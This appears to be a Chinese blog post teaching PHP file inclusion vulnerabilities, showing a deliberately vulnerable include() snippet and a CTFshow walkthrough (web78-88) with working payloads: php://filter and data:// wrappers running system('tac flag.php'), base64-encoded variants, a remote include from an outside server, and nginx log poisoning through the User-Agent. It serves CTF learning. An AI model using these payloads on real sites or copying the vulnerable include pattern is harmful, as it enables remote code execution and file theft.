文件包含漏洞&认识认识

117 阅读2分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

文件包含

概念

什么时候文件包含

那么文件包含呢简单来说就是

你的大哥,你有六个小弟,

那么大哥就有这六个小弟的呼叫方式,

当他要那个小弟的帮助就直接呼叫那个小弟那个小弟就会过滤帮助他了

那么用专业的话来说就是,

有ABCD四个文件

那么A文件里面设置了文件包含的函数

那么当A文件需要B文件的时候,就包含B文件就可以了,当A文件需要C文件就包含C文件就可以了,

可以怎么去简单理解

那么程序员为什么会用到文件包含呢

首先就是一个方便,当A文件需要B文件的时候就直接通过文件包含,包含B文件就可以,直接把B文件调用过来,这样就不用去编写代码了

本地包含/远程包含

那么文件包含有两种

一种是本地文件包含

一种是远程文件包含

但是大多是本地文件包含

对于严重程度来是,虽然两个都是文件包含漏洞,但是呢,远程文件包含漏洞要更严重些

php包含函数

在php语言当中,有四种文件包含的函数,分别是

include、require、include_once、require_once

<?php
show_source(__FILE__);

$file=$_GET['file'];
if(isset($file)){
    include("$file");
    //require("$file");
    //require_once("$file");
    //include_once("$file");
}
?>

这就是我们本地文件包含的php代码

在这里插入图片描述

在这里插入图片描述

ctf秀

web78

这关可以用为协议或者其他的

在这里插入图片描述

伪协议

?file=php://filter/convert.base64-encode/resource=flag.php

这个意思大概就是读取flag.php,将读取的继续base64呈现

在这里插入图片描述

还有另外一种

?file=data://text/plain,<?php system("cat flag.php");?>

?file=php://input post:<?php system('tac flag.php');?>

通过命令去读

首先他是通过php代码进行的

代码内容就是 通过system最高最高权限,读取 flag.php文件的内容

在这里插入图片描述

web79

在这里插入图片描述

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

他对我们的php字符进行了过滤

那么我们就要绕过他的过滤

我们首先通过phpbase64绕过和外部包含绕过还有替换符绕过

替换符

?file=data://text/plain,<?=system('tac flag.*');?>

这里我们就不flag.php而是用*号代替

*号表示所有

只有名称带有flag的都读取

在这里插入图片描述

base64

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

在这里插入图片描述

我们将

base64编码,

在这里插入图片描述

外部包含

?file=http://cs.odwei.com/WBBH.txt

我在服务器

WBBH.txt文件中写入

然后让服务器去包含他就可以了

在这里插入图片描述

web80

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

这关过滤了

php 和data

这一关要用到日志路径

在这里插入图片描述

  /var/log/nginx

知道日志路径

我们在了解Niginx日志访问文件

在这里插入图片描述

access.log

那么这个日志这里记录的是 访问者的ip 和访问者的浏览器版本

那么我们可以改UA头

这个UA有其实就是我们访问者的蜘蛛核,也就是访问者浏览器版本类的记录

在这里插入图片描述

在这里插入图片描述

web81

和80一样的办法

web88

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

在这里插入图片描述

参考

blog.csdn.net/rfrder/arti…

blog.csdn.net/qq_46091464…

www.cnblogs.com/upstream-yu…